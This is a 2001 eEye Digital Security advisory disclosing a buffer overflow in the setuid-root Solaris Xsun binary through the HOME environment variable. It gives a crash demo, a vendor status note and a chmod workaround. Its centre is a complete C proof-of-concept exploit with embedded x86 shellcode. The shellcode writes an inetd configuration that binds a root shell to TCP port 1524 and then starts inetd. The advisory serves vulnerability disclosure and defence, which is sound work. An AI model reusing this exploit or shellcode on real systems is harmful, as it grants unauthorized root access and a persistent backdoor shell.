Solaris Xsun buffer overflow vulnerability
Discovered and exploited by:
Riley Hassell [EMAIL PROTECTED]
Release Date:
April 10, 2001
Systems Affected:
Solaris 7/8 (x86 and sparc)
Description:
Yet some more Solaris spring cleaning...
A buffer overflow was discovered in Xsun. Since Xsun is SUID root,
exploiting this vulnerability yields root privileges. The overflow exists in
Xsun’s handling of the HOME environment variable.
bash-2.03$ HOME=`perl -e 'print "A"x1050'`
bash-2.03$ /usr/openwin/bin/Xsun :1
Warning: There is no XDISPLAY information for display 1.
Server is using XDISPLAY information for display 0.
Default Font Path: /usr/openwin/lib/X11/
Segmentation Fault (core dumped)
Proof of Concept:
/***********************************/
Solaris 7 (x86) /usr/openwin/bin/Xsun
HOME environment overflow
Proof of Concept Exploitation
[EMAIL PROTECTED]
Puts a Root shell on local port 1524
/***********************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 1041
/* seteuid/setuid/inetd shell */
char eyecode[] =
"\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e"
"\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c"
"\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50"
"\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46"
"\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56"
"\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e"
"\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2"
"\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff"
"\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73"
"\x68\x20\x2d\x63\x20"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;"
"/usr/sbin/inetd -s /tmp/eeye2001";
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;
unsigned long int get_esp()
{__asm__("movl %esp,%eax");}
int main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
else
offset = -200;
esp = get_esp();
memset(buf, 0x90, BUFLEN);
memcpy(buf+800, eyecode, strlen(eyecode));
*((int *) &buf[1037]) = esp+offset;
strncpy(&buf[0],"HOME=",5);
putenv(buf);
execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL);
return;
}
Vendor Status:
Sun Microsystems has been contacted. They are currently working on patches
for this and other related vulnerabilities eEye has discovered. We would
like to thank them for working with us on creating a patch for this
vulnerability.
Workaround:
chmod –s /usr/openwin/bin/Xsun
This will remove the setuid bit from Xsun, therefore if someone does exploit
this vulnerability, they won’t gain higher privileges.
Greetings:
ADM, Lamagra, Zen-Parse, Loki, and Speakeasy Networks
Copyright (c) 1998-2001 eEye Digital Security
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